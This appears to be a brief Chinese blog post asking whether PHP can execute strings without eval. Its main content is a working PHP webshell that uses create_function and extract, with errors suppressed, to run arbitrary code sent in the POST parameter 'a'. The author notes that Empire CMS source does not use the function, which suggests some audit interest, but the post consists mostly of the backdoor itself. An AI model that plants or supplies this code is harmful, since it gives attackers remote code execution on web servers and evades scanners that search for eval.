首页 > 其他 > 网站日记>正文

php中不用eval可以执行字符串吗?

提示: 阅读权限:公开  
<?php
function fun2(){
	$b=$_POST;
	return @($b[a]);
}
@extract(array(b=>create_function(NULL,fun2())));
@extract(array(c=>$b()));
?>

这段代码,通过create_function函数,使得post上传的字符串,被当作代码来执行。

在帝国cms的源代码中,没有使用这个函数。

上一篇:帝国cms插件如何兼容gbk和utf8

下一篇:百度分词效果的展示页面

tags: php eval 执行 字符串

返回首页

相关

热门

站内直通车

[!--temp.bottomnav--]
返回顶部